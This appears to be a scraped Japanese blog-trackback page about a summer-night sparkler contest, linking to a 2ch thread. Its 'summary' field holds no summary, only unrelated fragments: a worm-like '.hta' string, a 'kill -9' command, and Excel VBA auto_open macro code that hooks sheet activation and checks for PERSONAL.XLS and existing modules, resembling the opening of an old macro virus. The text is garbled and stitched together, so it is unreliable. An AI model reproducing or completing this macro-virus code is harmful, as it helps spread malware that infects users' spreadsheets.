【夏の夜】勝負ね！負けた方は・・・【線香花火】

【トラックバック来たよ】 (ver. 0.11)
[タイトル]
[発ブログ] 天国＠2ch掲示板
http://ex13.2ch.net/test/read.cgi/heaven4vip/1152852996/l50
[＝要約＝]
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？